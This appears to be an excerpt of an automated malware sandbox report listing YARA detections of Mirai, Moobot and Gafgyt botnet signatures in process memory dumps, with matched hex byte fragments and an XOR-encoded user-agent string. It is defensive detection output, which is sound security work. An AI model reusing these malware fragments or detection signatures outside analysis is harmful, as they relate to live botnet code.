6233.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6286.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6286.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6286.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6286.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6286.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6286.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6936.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7119.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7281.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7281.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7281.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7281.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7281.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7281.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6779.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6779.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6779.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6779.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6779.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6779.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6843.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6769.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6769.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6769.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6769.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6769.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6769.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6320.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6813.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6723.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6459.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6604.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6313.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6313.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6313.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6313.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6313.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6313.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
